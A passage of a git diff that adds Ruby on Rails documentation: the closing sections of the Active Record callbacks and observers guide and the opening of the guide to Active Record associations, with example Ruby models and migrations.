+before_save+ +* +before_create+ +* INSERT OPERATION +* +after_create+ +* +after_save+ + +h4. Updating an Object + +* +before_validation+ +* +before_validation_on_update+ +* +after_validation+ +* +after_validation_on_update+ +* +before_save+ +* +before_update+ +* UPDATE OPERATION +* +after_update+ +* +after_save+ + +h4. Destroying an Object + +* +before_destroy+ +* DELETE OPERATION +* +after_destroy+ + +WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed. + +h4. +after_initialize+ and +after_find+ + +The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method. + +The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined. + +The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries. + +<ruby> +class User < ActiveRecord::Base + def after_initialize + puts "You have initialized an object!" + end + + def after_find + puts "You have found an object!" + end +end + +>> User.new +You have initialized an object! +=> #<User id: nil> + +>> User.first +You have found an object! +You have initialized an object! +=> #<User id: 1> +</ruby> + +h3. Running Callbacks + +The following methods trigger callbacks: + +* +create+ +* +create!+ +* +decrement!+ +* +destroy+ +* +destroy_all+ +* +increment!+ +* +save+ +* +save!+ +* +save(false)+ +* +toggle!+ +* +update+ +* +update_attribute+ +* +update_attributes+ +* +update_attributes!+ +* +valid?+ + +Additionally, the +after_find+ callback is triggered by the following finder methods: + +* +all+ +* +first+ +* +find+ +* +find_all_by_<em>attribute</em>+ +* +find_by_<em>attribute</em>+ +* +find_by_<em>attribute</em>!+ +* +last+ + +The +after_initialize+ callback is triggered every time a new object of the class is initialized. + +h3. Skipping Callbacks + +Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. + +* +decrement+ +* +decrement_counter+ +* +delete+ +* +delete_all+ +* +find_by_sql+ +* +increment+ +* +increment_counter+ +* +toggle+ +* +update_all+ +* +update_counters+ + +h3. Halting Execution + +As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. + +The whole callback chain is wrapped in a transaction. If any before callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued. After callbacks can only accomplish that by raising an exception. + +WARNING. Raising an arbitrary exception may break code that expects +save+ and friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. + +h3. Relational Callbacks + +Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model. + +<ruby> +class User < ActiveRecord::Base + has_many :posts, :dependent => :destroy +end + +class Post < ActiveRecord::Base + after_destroy :log_destroy_action + + def log_destroy_action + puts 'Post destroyed' + end +end + +>> user = User.first +=> #<User id: 1> +>> user.posts.create! +=> #<Post id: 1, user_id: 1> +>> user.destroy +Post destroyed +=> #<User id: 1> +</ruby> + +h3. Conditional Callbacks + +Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option. + +h4. Using +:if+ and +:unless+ with a Symbol + +You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns +false+ the callback won't be executed. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed. + +<ruby> +class Order < ActiveRecord::Base + before_save :normalize_card_number, :if => :paid_with_card? +end +</ruby> + +h4. Using +:if+ and +:unless+ with a String + +You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. + +<ruby> +class Order < ActiveRecord::Base + before_save :normalize_card_number, :if => "paid_with_card?" +end +</ruby> + +h4. Using +:if+ and +:unless+ with a Proc + +Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners. + +<ruby> +class Order < ActiveRecord::Base + before_save :normalize_card_number, + :if => Proc.new { |order| order.paid_with_card? } +end +</ruby> + +h4. Multiple Conditions for Callbacks + +When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration. + +<ruby> +class Comment < ActiveRecord::Base + after_create :send_email_to_author, :if => :author_wants_emails?, + :unless => Proc.new { |comment| comment.post.ignore_comments? } +end +</ruby> + +h3. Callback Classes + +Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. + +Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model. + +<ruby> +class PictureFileCallbacks + def after_destroy(picture_file) + File.delete(picture_file.filepath) + if File.exists?(picture_file.filepath) + end +end +</ruby> + +When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way: + +<ruby> +class PictureFile < ActiveRecord::Base + after_destroy PictureFileCallbacks.new +end +</ruby> + +Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method. + +<ruby> +class PictureFileCallbacks + def self.after_destroy(picture_file) + File.delete(picture_file.filepath) + if File.exists?(picture_file.filepath) + end +end +</ruby> + +If the callback method is declared this way, it won't be necessary to instantiate a +PictureFileCallbacks+ object. + +<ruby> +class PictureFile < ActiveRecord::Base + after_destroy PictureFileCallbacks +end +</ruby> + +You can declare as many callbacks as you want inside your callback classes. + +h3. Observers + +Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. + +h4. Creating Observers + +For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality. + +<ruby> +class UserObserver < ActiveRecord::Observer + def after_create(model) + # code to send confirmation email... + end +end +</ruby> + +As with callback classes, the observer's methods receive the observed model as a parameter. + +h4. Registering Observers + +Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/environment.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/environment.rb+ this way: + +<ruby> +# Activate observers that should always be running +config.active_record.observers = :user_observer +</ruby> + +As usual, settings in +config/environments+ take precedence over those in +config/environment.rb+. So, if you prefer that an observer not run in all environments, you can simply register it in a specific environment instead. + +h4. Sharing Observers + +By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behaviour to more than one model, and so it's possible to manually specify the models that our observer should observe. + +<ruby> +class MailerObserver < ActiveRecord::Observer + observe :registration, :user + + def after_create(model) + # code to send confirmation email... + end +end +</ruby> + +In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/environment.rb+ in order to take effect. + +<ruby> +# Activate observers that should always be running +config.active_record.observers = :mailer_observer +</ruby> + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks + +* March 7, 2009: Callbacks revision by Trevor Turk +* February 10, 2009: Observers revision by Trevor Turk +* February 5, 2009: Initial revision by Trevor Turk +* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile new file mode 100644 index 0000000000..03e22bd6fe --- /dev/null +++ b/railties/guides/source/association_basics.textile @@ -0,0 +1,1781 @@ +h2. A Guide to Active Record Associations + +This guide covers the association features of Active Record. By referring to this guide, you will be able to: + +* Declare associations between Active Record models +* Understand the various types of Active Record associations +* Use the methods added to your models by creating associations + +endprologue. + +h3. Why Associations? + +Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this: + +<ruby> +class Customer < ActiveRecord::Base +end + +class Order < ActiveRecord::Base +end +</ruby> + +Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this: + +<ruby> +@order = Order.create(:order_date => Time.now, + :customer_id => @customer.id) +</ruby> + +Or consider deleting a customer, and ensuring that all of its orders get deleted as well: + +<ruby> +@orders = Order.find_by_customer_id(@customer.id) +@orders.each do |order| + order.destroy +end +@customer.destroy +</ruby> + +With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders, :dependent => :destroy +end + +class Order < ActiveRecord::Base + belongs_to :customer +end +</ruby> + +With this change, creating a new order for a particular customer is easier: + +<ruby> +@order = @customer.orders.create(:order_date => Time.now) +</ruby> + +Deleting a customer and all of its orders is _much_ easier: + +<ruby> +@customer.destroy +</ruby> + +To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails. + +h3. The Types of Associations + +In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association: + +* +belongs_to+ +* +has_one+ +* +has_many+ +* +has_many :through+ +* +has_one :through+ +* +has_and_belongs_to_many+ + +In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate. + +h4. The +belongs_to+ Association + +A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way: + +<ruby> +class Order < ActiveRecord::Base + belongs_to :customer +end +</ruby> + +!images/belongs_to.png(belongs_to Association Diagram)! + +h4. The +has_one+ Association + +A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this: + +<ruby> +class Supplier < ActiveRecord::Base + has_one :account +end +</ruby> + +!images/has_one.png(has_one Association Diagram)! + +h4. The +has_many+ Association + +A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders +end +</ruby> + +NOTE: The name of the other model is pluralized when declaring a +has_many+ association. + +!images/has_many.png(has_many Association Diagram)! + +h4. The +has_many :through+ Association + +A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this: + +<ruby> +class Physician < ActiveRecord::Base + has_many :appointments + has_many :patients, :through => :appointments +end + +class Appointment < ActiveRecord::Base + belongs_to :physician + belongs_to :patient +end + +class Patient < ActiveRecord::Base + has_many :appointments + has_many :physicians, :through => :appointments +end +</ruby> + +!images/has_many_through.png(has_many :through Association Diagram)! + +The +has_many :through+ association is also useful for setting up "shortcuts" through nested +has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way: + +<ruby> +class Document < ActiveRecord::Base + has_many :sections + has_many :paragraphs, :through => :sections +end + +class Section < ActiveRecord::Base + belongs_to :document + has_many :paragraphs +end + +class Paragraph < ActiveRecord::Base + belongs_to :section +end +</ruby> + +h4. The +has_one :through+ Association + +A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this: + +<ruby> +class Supplier < ActiveRecord::Base + has_one :account + has_one :account_history, :through => :account +end + +class Account < ActiveRecord::Base + belongs_to :supplier + has_one :account_history +end + +class AccountHistory < ActiveRecord::Base + belongs_to :account +end +</ruby> + +!images/has_one_through.png(has_one :through Association Diagram)! + +h4. The +has_and_belongs_to_many+ Association + +A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way: + +<ruby> +class Assembly < ActiveRecord::Base + has_and_belongs_to_many :parts +end + +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +</ruby> + +!images/habtm.png(has_and_belongs_to_many Association Diagram)! + +h4. Choosing Between +belongs_to+ and +has_one+ + +If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? + +The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: + +<ruby> +class Supplier < ActiveRecord::Base + has_one :account +end + +class Account < ActiveRecord::Base + belongs_to :supplier +end +</ruby> + +The corresponding migration might look like this: + +<ruby> +class CreateSuppliers < ActiveRecord::Migration + def self.up + create_table :suppliers do |t| + t.string :name + t.timestamps + end + + create_table :accounts do |t| + t.integer :supplier_id + t.string :account_number + t.timestamps + end + end + + def self.down + drop_table :accounts + drop_table :suppliers + end +end +</ruby> + +NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead. + +h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+ + +Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly: + +<ruby> +class Assembly < ActiveRecord::Base + has_and_belongs_to_many :parts +end + +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +</ruby> + +The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model: + +<ruby> +class Assembly < ActiveRecord::Base + has_many :manifests + has_many :parts, :through => :manifests +end + +class Manifest < ActiveRecord::Base + belongs_to :assembly + belongs_to :part +end + +class Part < ActiveRecord::Base + has_many :manifests + has_many :assemblies, :through => :manifests +end +</ruby> + +The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table in the database). + +You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model. + +h4. Polymorphic Associations + +A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared: + +<ruby> +class Picture < ActiveRecord::Base + belongs_to :imageable, :polymorphic => true +end + +class Employee < ActiveRecord::Base + has_many :pictures, :as => :imageable +end + +class Product < ActiveRecord::Base + has_many :pictures, :as => :imageable +end +</ruby> + +You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+. + +Similarly, you can retrieve +@product.pictures+. + +If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface: + +<ruby> +class CreatePictures < ActiveRecord::Migration + def self.up + create_table :pictures do |t| + t.string :name + t.integer :imageable_id + t.string :imageable_type + t.timestamps + end + end + + def self.down + drop_table :pictures + end +end +</ruby> + +This migration can be simplified by using the +t.references+ form: + +<ruby> +class CreatePictures < ActiveRecord::Migration + def self.up + create_table :pictures do |t| + t.string :name + t.references :imageable, :polymorphic => true + t.timestamps + end + end + + def self.down + drop_table :pictures + end +end +</ruby> + +!images/polymorphic.png(Polymorphic Association Diagram)! + +h4. Self Joins + +In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations: + +<ruby> +class Employee < ActiveRecord::Base + has_many :subordinates, :class_name => "Employee", + :foreign_key => "manager_id" + belongs_to :manager, :class_name => "Employee" +end +</ruby> + +With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+. + +h3. Tips, Tricks, and Warnings + +Here are a few things you should know to make efficient use of Active Record associations in your Rails applications: + +* Controlling caching +* Avoiding name collisions +* Updating the schema +* Controlling association scope + +h4. Controlling Caching + +All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example: + +<ruby> +customer.orders # retrieves orders from the database +customer.orders.size # uses the cached copy of orders +customer.orders.empty? # uses the cached copy of orders +</ruby> + +But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call: + +<ruby> +customer.orders # retrieves orders from the database +customer.orders.size # uses the cached copy of orders +customer.orders(true).empty? # discards the cached copy of orders + # and goes back to the database +</ruby> + +h4. Avoiding Name Collisions + +You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations. + +h4. Updating the Schema + +Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table. + +h5. Creating Foreign Keys for +belongs_to+ Associations + +When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model: + +<ruby> +class Order < ActiveRecord::Base + belongs_to :customer +end +</ruby> + +This declaration needs to be backed up by the proper foreign key declaration on the orders table: + +<ruby> +class CreateOrders < ActiveRecord::Migration + def self.up + create_table :orders do |t| + t.datetime :order_date + t.string :order_number + t.integer :customer_id + end + end + + def self.down + drop_table :orders + end +end +</ruby> + +If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key. + +h5. Creating Join Tables for +has_and_belongs_to_many+ Associations + +If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. + +WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings). + +Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations: + +<ruby> +class Assembly < ActiveRecord::Base + has_and_belongs_to_many :parts +end + +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +</ruby> + +These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key: + +<ruby> +class CreateAssemblyPartJoinTable < ActiveRecord::Migration + def self.up + create_table :assemblies_parts, :id => false do |t| + t.integer :assembly_id + t.integer :part_id + end + end + + def self.down + drop_table :assemblies_parts + end +end +</ruby> + +We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behaviour in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit. + +h4. Controlling Association Scope + +By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example: + +<ruby> +module MyApplication + module Business + class Supplier < ActiveRecord::Base + has_one :account + end + + class Account < ActiveRecord::Base + belongs_to :supplier + end + end +end +</ruby> + +This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But the following will _not_ work, because +Supplier+ and +Account+ are defined in different scopes: + +<ruby> +module MyApplication + module Business + class Supplier < ActiveRecord::Base + has_one :account + end + end + + module Billing + class Account < ActiveRecord::Base + belongs_to :supplier + end + end +end +</ruby> + +To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration: + +<ruby> +module MyApplication + module Business + class Supplier < ActiveRecord::Base + has_one :account, + :class_name => "MyApplication::Billing::Account" + end + end + + module Billing + class Account < ActiveRecord::Base + belongs_to :supplier, + :class_name => "MyApplication::Business::Supplier" + end + end +end +</ruby> + +h3. Detailed Association Reference + +The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association. + +h4. +belongs_to+ Association Reference + +The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead. + +h5. Methods Added by +belongs_to+ + +When you declare a +belongs_to+ association, the declaring class automatically gains four methods related to the association: + +* <tt><em>association</em>(force_reload = false)</tt> +* <tt><em>association</em>=(associate)</tt> +* <tt>build_<em>association</em>(attributes = {})</tt> +* <tt>create_<em>association</em>(attributes = {})</tt> + +In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration: + +<ruby> +class Order < ActiveRecord::Base + belongs_to :customer +end +</ruby> + +Each instance of the order model will have these methods: + +<ruby> +customer +customer= +build_customer +create_customer +</ruby> + +h6. _association_(force_reload = false) + +The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+. + +<ruby> +@customer = @order.customer +</ruby> + +If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument. + +h6. _association_=(associate) + +The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value. + +<ruby> +@order.customer = @customer +</ruby> + +h6. build_<em>association</em>(attributes = {}) + +The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved. + +<ruby> +@customer = @order.build_customer(:customer_number => 123, + :customer_name => "John Doe") +</ruby> + +h6. create_<em>association</em>(attributes = {}) + +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). + +<ruby> +@customer = @order.create_customer(:customer_number => 123, + :customer_name => "John Doe") +</ruby> + + +h5. Options for +belongs_to+ + +In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this: + +<ruby> +class Order < ActiveRecord::Base + belongs_to :customer, :counter_cache => true, + :conditions => "active = 1" +end +</ruby> + +The +belongs_to+ association supports these options: + +* +:autosave+ +* +:class_name+ +* +:conditions+ +* +:counter_cache+ +* +:dependent+ +* +:foreign_key+ +* +:include+ +* +:polymorphic+ +* +:readonly+ +* +:select+ +* +:validate+ + +h6. +:autosave+ + +If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. + +h6. +:class_name+ + +If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way: + +<ruby> +class Order < ActiveRecord::Base + belongs_to :customer, :class_name => "Patron" +end +</ruby> + +h6. +:conditions+ + +The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause). + +<ruby> +class Order < ActiveRecord::Base + belongs_to :customer, :conditions => "active = 1" +end +</ruby> + +h6. +:counter_cache+ + +The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models: + +<ruby> +class Order < ActiveRecord::Base + belongs_to :customer +end +class Customer < ActiveRecord::Base + has_many :orders +end +</ruby> + +With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model: + +<ruby> +class Order < ActiveRecord::Base + belongs_to :customer, :counter_cache => true +end +class Customer < ActiveRecord::Base + has_many :orders +end +</ruby> + +With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +size+ method. + +Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to: + +<ruby> +class Order < ActiveRecord::Base + belongs_to :customer, :counter_cache => :count_of_orders +end +class Customer < ActiveRecord::Base + has_many :orders +end +</ruby> + +Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+. + +h6. +:dependent+ + +If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. + +WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database. + +h6. +:foreign_key+ + +By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: + +<ruby> +class Order < ActiveRecord::Base + belongs_to :customer, :class_name => "Patron", + :foreign_key => "patron_id" +end +</ruby> + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +h6. +:include+ + +You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +<ruby> +class LineItem < ActiveRecord::Base + belongs_to :order +end + +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end + +class Customer < ActiveRecord::Base + has_many :orders +end +</ruby> + +If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders: + +<ruby> +class LineItem < ActiveRecord::Base + belongs_to :order, :include => :customer +end + +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end + +class Customer < ActiveRecord::Base + has_many :orders +end +</ruby> + +NOTE: There's no need to use +:include+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed. + +h6. +:polymorphic+ + +Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>. + +h6. +:readonly+ + +If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association. + +h6. +:select+ + +The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. + +TIP: If you set the +:select+ option on a +belongs_to+ association, you should also set the +foreign_key+ option to guarantee the correct results. + +h6. +:validate+ + +If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. + +h5. How To Know Whether There's an Associated Object? + +To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: + +<ruby> +if @order.customer.nil? + @msg = "No customer found for this order" +end +</ruby> + +h5. When are Objects Saved? + +Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either. + +h4. +has_one+ Association Reference + +The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead. + +h5. Methods Added by +has_one+ + +When you declare a +has_one+ association, the declaring class automatically gains four methods related to the association: + +* <tt><em>association</em>(force_reload = false)</tt> +* <tt><em>association</em>=(associate)</tt> +* <tt>build_<em>association</em>(attributes = {})</tt> +* <tt>create_<em>association</em>(attributes = {})</tt> + +In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration: + +<ruby> +class Supplier < ActiveRecord::Base + has_one :account +end +</ruby> + +Each instance of the +Supplier+ model will have these methods: + +<ruby> +account +account= +build_account +create_account +</ruby> + +h6. <tt><em>association</em>(force_reload = false)</tt> + +The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+. + +<ruby> +@account = @supplier.account +</ruby> + +If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument. + +h6. <tt><em>association</em>=(associate)</tt> + +The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value. + +<ruby> +@supplier.account = @account +</ruby> + +h6. <tt>build_<em>association</em>(attributes = {})</tt> + +The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved. + +<ruby> +@account = @supplier.build_account(:terms => "Net 30") +</ruby> + +h6. <tt>create_<em>association</em>(attributes = {})</tt> + +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). + +<ruby> +@account = @supplier.create_account(:terms => "Net 30") +</ruby> + +h5. Options for +has_one+ + +In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this: + +<ruby> +class Supplier < ActiveRecord::Base + has_one :account, :class_name => "Billing", :dependent => :nullify +end +</ruby> + +The +has_one+ association supports these options: + +* +:as+ +* +:autosave+ +* +:class_name+ +* +:conditions+ +* +:dependent+ +* +:foreign_key+ +* +:include+ +* +:order+ +* +:primary_key+ +* +:readonly+ +* +:select+ +* +:source+ +* +:source_type+ +* +:through+ +* +:validate+ + +h6. +:as+ + +Setting the 